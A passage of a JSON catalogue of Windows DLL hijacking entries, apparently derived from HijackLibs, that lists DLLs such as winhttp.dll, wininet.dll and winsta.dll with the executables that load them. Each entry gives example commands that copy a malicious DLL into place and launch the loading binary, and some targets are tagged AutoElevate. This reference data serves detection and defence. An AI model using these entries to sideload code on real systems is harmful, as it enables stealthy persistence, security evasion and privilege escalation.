        "url": "https://hijacklibs.net/entries/windowscodecsext.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious windowsperformancerecordercontrol.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\windows kits\\\\10\\\\windows performance toolkit\\\\windowsperformancerecordercontrol.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wpr.exe\\\"\"\n\n# windowsperformancerecordercontrol.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\windows kits\\10\\windows performance toolkit\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wpr.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-windowsperformancerecordercontrol.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "windowsperformancerecordercontrol.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "windowsperformancerecordercontrol.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-windowsperformancerecordercontrol",
    "name": "windowsperformancerecordercontrol.dll",
    "namespace": "windows:dllhijack:windowsperformancerecordercontrol",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/windowsperformancerecordercontrol.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious windowsperformancerecorderui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Windows Performance Toolkit\\\\windowsperformancerecorderui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Windows Performance Toolkit\\\\WPRUI.exe\\\"\"\n\n# windowsperformancerecorderui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Kits\\10\\Windows Performance Toolkit\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\Windows Performance Toolkit\\WPRUI.exe (Sideloading) [AutoElevate]\n",
    "_source": "windows-dllhijack-windowsperformancerecorderui.md",
    "author": "Gary Lobermier",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "windowsperformancerecorderui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "windowsperformancerecorderui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-dllhijack-windowsperformancerecorderui",
    "name": "windowsperformancerecorderui.dll",
    "namespace": "windows:dllhijack:windowsperformancerecorderui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/windowsperformancerecorderui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious windowsudk.shellcommon.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\windowsudk.shellcommon.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\compmgmtlauncher.exe\\\"\"\n\n# windowsudk.shellcommon.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-windowsudk-shellcommon.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "windowsudk.shellcommon.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "windowsudk.shellcommon.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-windowsudk-shellcommon",
    "name": "windowsudk.shellcommon.dll",
    "namespace": "windows:dllhijack:windowsudk-shellcommon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/windowsudk-shellcommon.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious winhttp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winhttp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cmdl32.exe\\\"\"\n\n# winhttp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cmdl32.exe (Sideloading)\n- %SYSTEM32%\\devicecensus.exe (Sideloading)\n- %SYSTEM32%\\dmclient.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\msdt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\mshta.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\musnotification.exe (Sideloading)\n- %SYSTEM32%\\musnotificationux.exe (Sideloading)\n- %SYSTEM32%\\musnotifyicon.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\pacjsworker.exe (Sideloading)\n- %SYSTEM32%\\recoverydrive.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\rpcping.exe (Sideloading)\n- %SYSTEM32%\\sgrmlpac.exe (Sideloading)\n- %SYSTEM32%\\sihclient.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n- %PROGRAMFILES%\\Minecraft Launcher\\MinecraftLauncher.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Andrew Oliveau\n",
    "_source": "windows-dllhijack-winhttp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "winhttp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winhttp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "requires-root"
    ],
    "id": "windows-dllhijack-winhttp",
    "name": "winhttp.dll",
    "namespace": "windows:dllhijack:winhttp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/AndrewOliveau/status/1682185200862625792"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winhttp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wininet.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wininet.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\appvclient.exe\\\"\"\n\n# wininet.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\appvclient.exe (Sideloading)\n- %SYSTEM32%\\browserexport.exe (Sideloading)\n- %SYSTEM32%\\calc.exe (Sideloading)\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\computerdefaults.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\fodhelper.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n- %SYSTEM32%\\logagent.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\presentationhost.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\tokenbrokercookies.exe (Sideloading)\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n- %SYSTEM32%\\wksprt.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wininet.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wininet.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wininet.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wininet",
    "name": "wininet.dll",
    "namespace": "windows:dllhijack:wininet",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wininet.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious winipsec.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winipsec.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# winipsec.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-winipsec.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winipsec.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winipsec.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-winipsec",
    "name": "winipsec.dll",
    "namespace": "windows:dllhijack:winipsec",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winipsec.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winmde.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winmde.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mdeserver.exe\\\"\"\n\n# winmde.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mdeserver.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-winmde.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winmde.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winmde.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winmde",
    "name": "winmde.dll",
    "namespace": "windows:dllhijack:winmde",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winmde.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious winmm.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winmm.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mblctr.exe\\\"\"\n\n# winmm.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mblctr.exe (Sideloading)\n- %SYSTEM32%\\mspaint.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\presentationsettings.exe (Sideloading)\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n- %SYSTEM32%\\wfs.exe (Sideloading)\n- %SYSTEM32%\\winsat.exe (Sideloading) [AutoElevate]\n- %APPDATA%\\Zoom\\bin_%VERSION%\\Zoom.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-winmm.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "winmm.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winmm.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-winmm",
    "name": "winmm.dll",
    "namespace": "windows:dllhijack:winmm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securelist.com/wastedlocker-technical-analysis/97944/"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://ctrlaltintel.com/research/FudCrypt-analysis-1/"
      },
      {
        "label": "Reference",
        "url": "https://support.zoom.com/hc/en/article?sysparm_article=KB0064484"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winmm.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winnsi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winnsi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# winnsi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-winnsi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winnsi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winnsi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winnsi",
    "name": "winnsi.dll",
    "namespace": "windows:dllhijack:winnsi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winnsi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winrnr.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winrnr.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ftp.exe\\\"\"\n\n# winrnr.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ftp.exe (Environment Variable)\n- %SYSTEM32%\\hostname.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-winrnr.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winrnr.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "winrnr.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winrnr",
    "name": "winrnr.dll",
    "namespace": "windows:dllhijack:winrnr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winrnr.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winscard.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winscard.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\immersivetpmvscmgrsvr.exe\\\"\"\n\n# winscard.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\immersivetpmvscmgrsvr.exe (Sideloading)\n- %SYSTEM32%\\rmttpmvscmgrsvr.exe (Sideloading)\n- %SYSTEM32%\\tpmvscmgrsvr.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-winscard.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winscard.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winscard.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winscard",
    "name": "winscard.dll",
    "namespace": "windows:dllhijack:winscard",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winscard.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winsqlite3.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winsqlite3.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\browserexport.exe\\\"\"\n\n# winsqlite3.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\browserexport.exe (Sideloading)\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-winsqlite3.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winsqlite3.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winsqlite3.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winsqlite3",
    "name": "winsqlite3.dll",
    "namespace": "windows:dllhijack:winsqlite3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winsqlite3.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious winsta.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winsta.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\change.exe\\\"\"\n\n# winsta.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\change.exe (Sideloading)\n- %SYSTEM32%\\chglogon.exe (Sideloading)\n- %SYSTEM32%\\chgport.exe (Sideloading)\n- %SYSTEM32%\\ctfmon.exe (Sideloading)\n- %SYSTEM32%\\displayswitch.exe (Sideloading)\n- %SYSTEM32%\\msg.exe (Sideloading)\n- %SYSTEM32%\\musnotification.exe (Sideloading)\n- %SYSTEM32%\\query.exe (Sideloading)\n- %SYSTEM32%\\quser.exe (Sideloading)\n- %SYSTEM32%\\qprocess.exe (Sideloading)\n- %SYSTEM32%\\qwinsta.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\rdpinput.exe (Sideloading)\n- %SYSTEM32%\\rdpsa.exe (Sideloading)\n- %SYSTEM32%\\rdpsauachelper.exe (Sideloading)\n- %SYSTEM32%\\rdpshell.exe (Sideloading)\n- %SYSTEM32%\\rdvghelper.exe (Sideloading)\n- %SYSTEM32%\\reset.exe (Sideloading)\n- %SYSTEM32%\\rwinsta.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiescomputername.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiesdataexecutionprevention.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertieshardware.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiesprotection.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systempropertiesremote.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tscon.exe (Sideloading)\n- %SYSTEM32%\\tsdiscon.exe (Sideloading)\n- %SYSTEM32%\\tskill.exe (Sideloading)\n- %SYSTEM32%\\DriverStore\\FileRepository\\%VERSION%\\igfxSDK.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Will Summerhill\n",
    "_source": "windows-dllhijack-winsta.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "winsta.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winsta.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-winsta",
    "name": "winsta.dll",
    "namespace": "windows:dllhijack:winsta",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/BSummerz/status/1716851156625105342"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winsta.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winsync.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\winsync.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\synchost.exe\\\"\"\n\n# winsync.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\synchost.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-winsync.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winsync.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "winsync.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winsync",
    "name": "winsync.dll",
    "namespace": "windows:dllhijack:winsync",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winsync.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious winutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Palo Alto Networks\\\\Traps\\\\winutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Palo Alto Networks\\\\Traps\\\\cydump.exe\\\"\"\n\n# winutils.dll\n\n**Vendor:** Palo Alto\n\n**Expected Location:** %PROGRAMFILES%\\Palo Alto Networks\\Traps\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Palo Alto Networks\\Traps\\cydump.exe (Sideloading)\n",
    "_source": "windows-dllhijack-winutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "winutils.dll — Sideloading hijacking (Palo Alto)",
    "execution": {
      "template": "winutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-winutils",
    "name": "winutils.dll",
    "namespace": "windows:dllhijack:winutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/"
      },
      {
        "label": "Reference",
        "url": "https://security.paloaltonetworks.com/PAN-SA-2023-0002"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/winutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wkscli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wkscli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\djoin.exe\\\"\"\n\n# wkscli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\djoin.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\getmac.exe (Sideloading)\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n- %SYSTEM32%\\mshta.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\net.exe (Sideloading)\n- %SYSTEM32%\\net1.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\secinit.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\whoami.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wkscli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
